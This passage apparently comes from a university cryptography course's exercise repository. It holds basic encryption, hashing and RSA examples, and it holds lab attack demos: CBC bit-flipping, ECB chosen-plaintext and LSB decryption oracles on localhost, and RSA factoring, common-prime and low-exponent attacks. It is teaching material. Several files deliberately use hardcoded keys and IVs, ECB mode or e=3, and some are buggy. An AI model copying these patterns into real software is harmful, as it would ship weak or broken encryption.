cipher.encrypt(plaintext) 15 | ciphertext += cipher.encrypt(plaintext2) 16 | 17 | nonce = cipher.nonce 18 | 19 | print(nonce) 20 | 21 | ################# 22 | # we are at the recipient here 23 | 24 | cipher_dec = Salsa20.new(key=key,nonce=nonce) 25 | plaintext_decrypted = cipher_dec.decrypt(ciphertext) 26 | 27 | print(plaintext_decrypted) 28 | 29 | # key,nonce 30 | # 1010101010010101010010101010 0101001000010001000100101 31 | # asdfasfas asdfasdfasdfa 32 | # 0101000100100100100101001010 0010101001010101001011100 33 | # 34 | # 35 | # key,nonce 36 | # 1010101010010101010010101010 0101001000010001000100101 37 | # 0101000100100100100101001010 0010101001010101001011100 38 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/4.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | from mysecrets import salsa_key 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | 15 | 16 | f_output = open(sys.argv[2],"wb") 17 | 18 | with open(sys.argv[1],"rb") as f_input: 19 | plaintext = f_input.read(1024) 20 | ciphertext = streamcipher.encrypt(plaintext) 21 | f_output.write(ciphertext) 22 | 23 | 24 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 25 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/5.AES_live.py: -------------------------------------------------------------------------------- 1 | #encrypt a message with AES256 2 | from Crypto.Cipher import AES 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.Padding import pad, unpad 5 | 6 | key = get_random_bytes(32) #AES256 7 | 8 | cipher = AES.new(key, AES.MODE_CBC) #IV automatically generated at random 9 | IV = cipher.iv 10 | 11 | 12 | plaintext = b'This is the AES plaintext!' 13 | print(AES.block_size) 14 | 15 | padded_plain = pad(plaintext,AES.block_size) #PKCS5 16 | print(padded_plain) 17 | 18 | # ciphertext = cipher.encrypt(padded_plain) 19 | 20 | 21 | 22 | f_input = open("2.chacha20_live.py","rb") 23 | 24 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 25 | print(ciphertext) 26 | 27 | ########################33 28 | # we are at the recipient 29 | 30 | cipher_dec = AES.new(key,AES.MODE_CBC) 31 | 32 | decrypted = cipher_dec.decrypt(ciphertext) 33 | print(unpad(decrypted,AES.block_size)) 34 | 35 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/6.sha256_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | 4 | #init a SHA256 object with initial data 5 | hash_gen = SHA256.new(data=b'Even before the first part. ') 6 | hash_gen.update(b'This is the first part. ') 7 | hash_gen.update(b'This is the second part. ') 8 | 9 | print(hash_gen.hexdigest()) 10 | print(hash_gen.digest()) 11 | 12 | 13 | #update data and print new values 14 | 15 | -------------------------------------------------------------------------------- /AY2021/py-basics/symmetric/live/7.sha3_live.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | hash_gen = SHA3_256.new() 4 | 5 | with open("./6.sha256_live.py","rb") as f_input: 6 | hash_gen.update(f_input.read()) 7 | 8 | 9 | print(hash_gen.digest()) 10 | print(hash_gen.hexdigest()) 11 | 12 | -------------------------------------------------------------------------------- /AY2122/OpenSSL/bignum/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a newly instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | BN_CTX *ctx=BN_CTX_new(); 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: word functions mean -> unsigned long 16 | BN_set_word(b1,354); 17 | BN_print_fp(stdout,b1); 18 | printf("\n"); 19 | 20 | BN_set_word(b2,70000000000005); 21 | BN_print_fp(stdout,b2); 22 | printf("\n"); 23 | 24 | // b1 % b2 --> b3 25 | BN_mod(b3,b2,b1,ctx); 26 | 27 | // print in hex format 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | 32 | BN_free(b1); 33 | BN_free(b2); 34 | BN_free(b3); 35 | 36 | BN_CTX_free(ctx); 37 | 38 | return 0; 39 | } -------------------------------------------------------------------------------- /AY2122/OpenSSL/bignum/bignum2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 7 | char hex_string[] = "13AAF504E4BC1E62173F87A4378C37B49C8CCFF196CE3F0AD2"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | //creeate from decimal string 11 | BN_dec2bn(&big_number, num_string); 12 | BIGNUM *big_number2 = BN_new(); 13 | BN_hex2bn(&big_number2, hex_string); 14 | 15 | BN_print_fp(stdout,big_number); 16 | printf("\n"); 17 | BN_print_fp(stdout,big_number2); 18 | printf("\n"); 19 | 20 | int res = BN_cmp(big_number2, big_number); 21 | if(res==0) 22 | printf("The big numbers are equal\n"); 23 | else 24 | printf("The big numbers are different\n"); 25 | 26 | char *num_string_after = BN_bn2hex(big_number); 27 | printf("%s\n", num_string_after); 28 | printf("%s\n", BN_bn2dec(big_number)); 29 | 30 | // politely free OpenSSL generated heap structures 31 | OPENSSL_free(num_string_after); 32 | BN_free(big_number); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /AY2122/OpenSSL/dgst/hash1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main(){ 7 | 8 | EVP_MD_CTX *md; 9 | 10 | char message[] = "This is the message to hash"; 11 | 12 | 13 | 14 | //EVP_MD_CTX *EVP_MD_CTX_new(void); 15 | md = EVP_MD_CTX_new(); 16 | 17 | //int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); 18 | // int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); 19 | EVP_DigestInit(md, EVP_sha1()); 20 | 21 | 22 | // int EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d, size_t cnt); 23 | EVP_DigestUpdate(md, message, strlen(message)); 24 | 25 | 26 | unsigned char md_value[20]; 27 | int md_len; 28 | 29 | //int EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s); 30 | EVP_DigestFinal(md, md_value, &md_len); 31 | 32 | // void EVP_MD_CTX_free(EVP_MD_CTX *ctx); 33 | EVP_MD_CTX_free(md); 34 | 35 | printf("The digest is: "); 36 | for(int i = 0; i < md_len; i++) 37 | printf("%02x", md_value[i]); 38 | printf("\n"); 39 | 40 | return 0; 41 | 42 | } -------------------------------------------------------------------------------- /AY2122/OpenSSL/enc/enc.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aldobas/cryptography-03lpyov-exercises/8e66ae24a7803c6d035e19de15557e7da5da4189/AY2122/OpenSSL/enc/enc.enc -------------------------------------------------------------------------------- /AY2122/OpenSSL/enc/enc1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | 7 | #define ENCRYPT 1 8 | #define DECRYPT 0 9 | 10 | int main() 11 | { 12 | 13 | 14 | unsigned char key[] = "0123456789ABCDEF"; 15 | unsigned char iv[] = "1111111111111111"; 16 | 17 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); 18 | EVP_CipherInit(ctx,EVP_aes_128_cbc(), key, iv, ENCRYPT); 19 | 20 | 21 | unsigned char plaintext[] = "This is the plaintext to encrypt."; //len 33 22 | unsigned char ciphertext[48]; 23 | 24 | int update_len, final_len; 25 | int ciphertext_len=0; 26 | 27 | EVP_CipherUpdate(ctx,ciphertext,&update_len,plaintext,strlen(plaintext)); 28 | ciphertext_len+=update_len; 29 | printf("update size: %d\n",ciphertext_len); 30 | 31 | EVP_CipherFinal_ex(ctx,ciphertext+ciphertext_len,&final_len); 32 | ciphertext_len+=final_len; 33 | 34 | EVP_CIPHER_CTX_free(ctx); 35 | 36 | printf("Ciphertext lenght = %d\n", ciphertext_len); 37 | for(int i = 0; i < ciphertext_len; i++) 38 | printf("%02x", ciphertext[i]); 39 | printf("\n"); 40 | 41 | return 0; 42 | } 43 | 44 | -------------------------------------------------------------------------------- /AY2122/OpenSSL/rand/rand1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | RAND_load_file("/dev/random", 64); //optional on Linux 10 | RAND_bytes(random_string,MAX); 11 | 12 | printf("Sequence generated: "); 13 | for(int i = 0; i < MAX; i++) 14 | printf("%02x-", random_string[i]); 15 | printf("\n"); 16 | 17 | return 0; 18 | 19 | } -------------------------------------------------------------------------------- /AY2122/OpenSSL/rand/rand2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define MAX 64 5 | 6 | int main(){ 7 | unsigned char random_string[MAX]; 8 | 9 | if(RAND_load_file("/dev/random", 64) != 64) 10 | fprintf(stderr,"Error with rand init\n"); 11 | 12 | if(!RAND_bytes(random_string,MAX)) 13 | fprintf(stderr,"Error with rand generation\n"); 14 | 15 | 16 | printf("Sequence generated: "); 17 | for(int i = 0; i < MAX; i++) 18 | printf("%02x-", random_string[i]); 19 | printf("\n"); 20 | 21 | return 0; 22 | 23 | } -------------------------------------------------------------------------------- /AY2122/OpenSSL/rand/rand3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MAX 64 6 | 7 | void handle_errors(){ 8 | ERR_print_errors_fp(stderr); 9 | abort(); 10 | } 11 | 12 | 13 | int main(){ 14 | unsigned char random_string[MAX]; 15 | 16 | if(RAND_load_file("/dev/random", 64) != 64) 17 | handle_errors(); 18 | 19 | if(!RAND_bytes(random_string,MAX)) 20 | handle_errors(); 21 | 22 | printf("Sequence generated: "); 23 | for(int i = 0; i < MAX; i++) 24 | printf("%02x-", random_string[i]); 25 | printf("\n"); 26 | 27 | return 0; 28 | 29 | } -------------------------------------------------------------------------------- /AY2122/Python/attacks/BF/bf_client.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Util.Padding import pad 3 | from pwn import * 4 | 5 | ADDRESS = "localhost" 6 | PORT = 12342 7 | 8 | q = remote(ADDRESS, PORT) 9 | ciphertext = q.recv(1024) 10 | 11 | old_block = pad(b'admin=0',AES.block_size) 12 | print(old_block) 13 | new_block = pad(b'admin=1',AES.block_size) 14 | print(new_block) 15 | delta = bytes(a ^ b for (a, b) in zip(old_block,new_block)) 16 | print(delta) 17 | 18 | print(len(ciphertext)) 19 | ciphertext_array = bytearray(ciphertext) 20 | for i in range(0,16): 21 | ciphertext_array[i]^=delta[i] 22 | 23 | q.send(ciphertext_array) 24 | y = q.recv(1024).decode('utf-8') 25 | print(y) 26 | q.close() 27 | 28 | 29 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/BF/bitflippling_video.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import ChaCha20 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | plaintext = b'This is the message to encrypt but the attacker knows there is a specific sequence of numbers 12345' 7 | #attacker knows that b'1' in a specific position 8 | index = plaintext.index(b'1') 9 | print(index) 10 | 11 | key = get_random_bytes(32) 12 | nonce = get_random_bytes(12) 13 | cipher = ChaCha20.new(key = key, nonce = nonce) 14 | ciphertext = cipher.encrypt(plaintext) 15 | 16 | # ciphertext, index, b'1' 17 | 18 | new_value = b'9' 19 | new_int = ord(new_value) # ASCII code 20 | 21 | mask = ord(b'1') ^ new_int 22 | 23 | edt_ciphertext = bytearray(ciphertext) 24 | edt_ciphertext[index] = ciphertext[index] ^ mask 25 | 26 | # edt_ciphertext is received by the recipient, 27 | 28 | cipher_dec = ChaCha20.new(key=key, nonce=nonce) 29 | decrypted_text = cipher_dec.decrypt(edt_ciphertext) 30 | print(decrypted_text) 31 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/CBCPaddingOracle/helper/gen_ciphertext.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | 5 | from mysecrets import cbc_oracle_key as key 6 | from mydata import cbc_oracle_iv as iv 7 | 8 | cipher = AES.new(key,AES.MODE_CBC,iv) 9 | 10 | # msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 11 | msg = b'03LPYOV{How_many_nice_things_can_you_find_1_bit_at_the_time?}' 12 | 13 | print(len(msg)) 14 | print(iv) 15 | print(key) 16 | ctxt = cipher.encrypt(pad(msg,AES.block_size)) 17 | print(ctxt) 18 | 19 | cipher2 = AES.new(key,AES.MODE_CBC,iv) 20 | print(cipher2.decrypt(ctxt)) 21 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the msg:{0} - and the sec:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server_v2.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from mysecrets import ecb_oracle_key,ecb_oracle_secret 7 | from myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the message:{0} - and the secret is:{1}""".format( input0, ecb_oracle_secret) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/ECB_ACPA/ECB_ACPAttack_Server_v3.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from Crypto.Cipher import AES 4 | from Crypto.Util.Padding import pad 5 | 6 | from mysecrets import ecb_oracle_key,ecb_oracle_secret_2 7 | from myconfig import HOST, PORT 8 | 9 | 10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | print('Socket created') 12 | 13 | try: 14 | s.bind((HOST, PORT)) 15 | except socket.error as msg: 16 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 17 | sys.exit() 18 | print('Socket bind complete') 19 | 20 | s.listen(10) 21 | print('Socket now listening') 22 | 23 | #wait to accept a connection - blocking call 24 | while 1: 25 | conn, addr = s.accept() 26 | print('A new encryption requested by ' + addr[0] + ':' + str(addr[1])) 27 | 28 | input0 = conn.recv(1024).decode() 29 | 30 | # ecb_oracle_secret is 16 bytes long, all printable strings 31 | message = """Here is the message:{0} - and the secret is:{1}""".format( input0, ecb_oracle_secret_2) 32 | message = pad(message.encode(),AES.block_size) 33 | cipher = AES.new( ecb_oracle_key, AES.MODE_ECB ) 34 | ciphertext = cipher.encrypt(message) 35 | 36 | conn.send(ciphertext) 37 | 38 | conn.close() 39 | 40 | s.close() 41 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/ECBvsCBC/ECBvsCBCClient.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.environ['PWNLIB_NOTERM'] = 'True' # Configuration patch to allow pwntools to be run inside of an IDE 3 | os.environ['PWNLIB_SILENT'] = 'True' 4 | 5 | from pwn import * 6 | from math import ceil 7 | from Crypto.Cipher import AES 8 | 9 | from mysecrets import HOST,PORT 10 | 11 | 12 | 13 | BLOCK_SIZE = AES.block_size 14 | BLOCK_SIZE_HEX = 2*BLOCK_SIZE 15 | 16 | 17 | server = remote(HOST, PORT) 18 | 19 | # stole from the server code... 20 | # message = "This is what I received: " + msg + " -- END OF MESSAGE" 21 | start_str = "This is what I received: " 22 | # print(len(start_str)) 23 | pad_len = ceil(len(start_str)/BLOCK_SIZE)*BLOCK_SIZE-len(start_str) 24 | 25 | msg = "A"*(16*2+pad_len) #2 * AES.block_size + oad_len 26 | print("Sending: "+msg) 27 | server.send(msg) 28 | 29 | 30 | ciphertext = server.recv(1024) 31 | ciphertext_hex = ciphertext.hex() 32 | print(ciphertext_hex) 33 | 34 | server.close() 35 | 36 | for i in range(0,int(len(ciphertext_hex)//BLOCK_SIZE_HEX)): 37 | print(ciphertext_hex[i*BLOCK_SIZE_HEX:(i+1)*BLOCK_SIZE_HEX]) 38 | 39 | 40 | print("Selected mode is", end=' ') 41 | if ciphertext[2*BLOCK_SIZE:3*BLOCK_SIZE] == ciphertext[3*BLOCK_SIZE:4*BLOCK_SIZE] : 42 | print("ECB") 43 | else: 44 | print("CBC") 45 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/myconfig.py: -------------------------------------------------------------------------------- 1 | HOST = 'localhost' 2 | PORT = 12345 3 | 4 | 5 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/ECB/mysecrets.py: -------------------------------------------------------------------------------- 1 | ecb_oracle_secret = "Here's my secret" 2 | ecb_oracle_long_secret = "Here's my very long secret" 3 | ecb_oracle_key = b'\x1e\x86\x114\x0b\x8d6k`\xb1\xdc\xb5\xa9\xc7,\xe8A\xe2\x1c\x0bk\x93Lc\xc0\xa9\xce\xae\xcc.z\xd2' 4 | 5 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/RSA Attacks/1.factorDB.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from factordb.factordb import FactorDB 3 | 4 | n_length = 150 5 | 6 | p1 = getPrime(n_length) 7 | p2 = getPrime(n_length) 8 | print(p1) 9 | print(p2) 10 | 11 | n = p1 * p2 12 | print(n) 13 | 14 | 15 | 16 | f = FactorDB(n) 17 | f.connect() 18 | print(f.get_factor_list()) 19 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/RSA Attacks/3.common_prime.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | from gmpy2 import gcd 3 | 4 | if __name__ == '__main__': 5 | 6 | p1 = getPrime(1024) 7 | p2 = getPrime(1024) 8 | p3 = getPrime(1024) 9 | 10 | n1 = p1 * p2 11 | n2 = p1 * p3 12 | 13 | print(p1) 14 | print(p2) 15 | print(p3) 16 | 17 | 18 | p = gcd(n1,n2) 19 | print("-----------") 20 | print(p) 21 | print(n1 // p) 22 | print(n2 // p) 23 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/RSA Attacks/5.low_public_exponent.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | 4 | #kth root of the number n 5 | def iroot(k, n): 6 | u, s = n, n+1 7 | while u < s: 8 | s = u 9 | t = (k-1) * s + n // pow(s, k-1) 10 | u = t // k 11 | return s 12 | 13 | if __name__ == '__main__': 14 | 15 | rsa_keypair = RSA.generate(2048, e = 3) 16 | e = rsa_keypair.e 17 | # d = rsa_keypair.d 18 | n = rsa_keypair.n 19 | 20 | m = b'This message needs to be encryptedcccccccccccccccccccccccccccccccddddddddddddddddddddddddddddddddddddddddddddddddddddd' 21 | m_int = int.from_bytes(m,byteorder='big') 22 | 23 | c = pow(m_int,e,n) 24 | 25 | decrypted_int = iroot(e, c) 26 | print(decrypted_int) 27 | print(decrypted_int.to_bytes(decrypted_int.bit_length() // 8 +1, byteorder='big').decode()) 28 | 29 | dec = pow(c, 1/3) 30 | print(dec) 31 | -------------------------------------------------------------------------------- /AY2122/Python/attacks/RSA Attacks/7.LSB_Oracle_Attack/LSB_Oracle.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | from myconfig import HOST, PORT 5 | from mysecrets import lsb_d as d, lsb_n as n 6 | 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | print('Socket created') 9 | 10 | try: 11 | s.bind((HOST, PORT)) 12 | except socket.error as msg: 13 | print('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]) 14 | sys.exit() 15 | print('Socket bind complete') 16 | 17 | s.listen(10) 18 | print('Socket now listening') 19 | 20 | #wait to accept a connection - blocking call 21 | while 1: 22 | conn, addr = s.accept() 23 | print('A new RSA encrypted message received from ' + addr[0] + ':' + str(addr[1])) 24 | 25 | # receive the ciphertext 26 | ciphertext = conn.recv(4096) 27 | c = int.from_bytes(ciphertext,byteorder='big') 28 | # decrypt it 29 | lsb = pow(c,d,n) % 2 30 | # leak the LSB 31 | print(lsb) 32 | conn.send(int.to_bytes(lsb,1,byteorder='big')) 33 | 34 | conn.close() 35 | 36 | s.close() 37 | -------------------------------------------------------------------------------- /AY2122/Python/basics/asymmetric/03_RSA_keygen_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.backends import default_backend 2 | from cryptography.hazmat.primitives.asymmetric import rsa 3 | from cryptography.hazmat.primitives import serialization 4 | 5 | private_key = rsa.generate_private_key( 6 | public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY2122/Python/basics/asymmetric/05_RSA_encrypt_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/01.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | print(get_random_bytes(40)) 7 | 8 | print(get_random_bytes(AES.block_size)) 9 | 10 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/02.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Util.Padding import pad, unpad 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | 7 | 8 | print(AES.key_size) 9 | print(AES.key_size[2]) 10 | 11 | key = get_random_bytes(AES.key_size[2]) 12 | iv = get_random_bytes(AES.block_size) 13 | 14 | 15 | data = b'These data are to be encrypted!!' # 32 bytes, no need for padding 16 | print(len(data)) 17 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 18 | ct = cipher_enc.encrypt(data) 19 | 20 | print(len(ct)) 21 | 22 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 23 | pt = cipher_dec.decrypt(ct) 24 | print(pt) 25 | 26 | 27 | 28 | 29 | 30 | # encryption + padding 31 | data = b'Unaligned data to cipher' # 24 bytes, will need padding 32 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 33 | padded_data = pad(data,AES.block_size) 34 | print(padded_data) 35 | ct = cipher_enc.encrypt(padded_data) 36 | 37 | #print Base64 38 | print(base64.b64encode(ct).decode()) 39 | 40 | 41 | #decryption + unpadding 42 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 43 | decrypted_data = cipher_dec.decrypt(ct) 44 | print(decrypted_data) 45 | pt = unpad(decrypted_data, AES.block_size) 46 | assert(data == pt) 47 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/03.tream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | key = get_random_bytes(ChaCha20.key_size) 10 | 11 | cipher = ChaCha20.new(key=key) #nonce is automatically generated 12 | 13 | # alternative code if you want to select the nonce explicitly 14 | # nonce = get_random_bytes(12) 15 | # cipher = ChaCha20.new(nonce=nonce, secret=secret) 16 | 17 | ciphertext = cipher.encrypt(plaintext) 18 | 19 | print("Ciphertext= "+base64.b64encode(ciphertext).decode()) 20 | print("Nonce= "+base64.b64encode(cipher.nonce).decode()) 21 | 22 | print(sys.getsizeof(plaintext),end=" ") 23 | print(sys.getsizeof(ciphertext)) 24 | print(len(cipher.nonce)) 25 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/04.stream-salsa_incremental.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | # these are bytes 4 | key = b'deadbeefdeadbeef' 5 | cipher = Salsa20.new(key) 6 | 7 | #incremental encryption with a stream cipher 8 | ciphertext = cipher.encrypt(b'The first part of the secret message. ') 9 | ciphertext += cipher.encrypt(b'The second part of the message.') 10 | #also the ciphertext is made of bytes 11 | 12 | #print the nonce you will have to share 13 | nonce = cipher.nonce 14 | print(nonce) 15 | 16 | # check: decryption works 17 | cipher2 = Salsa20.new(key,nonce) 18 | plaintext = cipher2.decrypt(ciphertext) 19 | print("Decrypted = "+plaintext.decode("utf-8")) 20 | 21 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/05.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | salsa_key = b'deadbeeddeadbeef' 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | f_output = open(sys.argv[2],"wb") 15 | 16 | ciphertext = b'' 17 | 18 | with open(sys.argv[1],"rb") as f_input: 19 | plaintext = f_input.read(1024) 20 | while plaintext: 21 | ciphertext += streamcipher.encrypt(plaintext) 22 | f_output.write(ciphertext) 23 | plaintext = f_input.read(1024) 24 | 25 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 26 | -------------------------------------------------------------------------------- /AY2122/Python/basics/symmetric/06.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | 10 | aes_key = get_random_bytes(AES.key_size[0]) 11 | 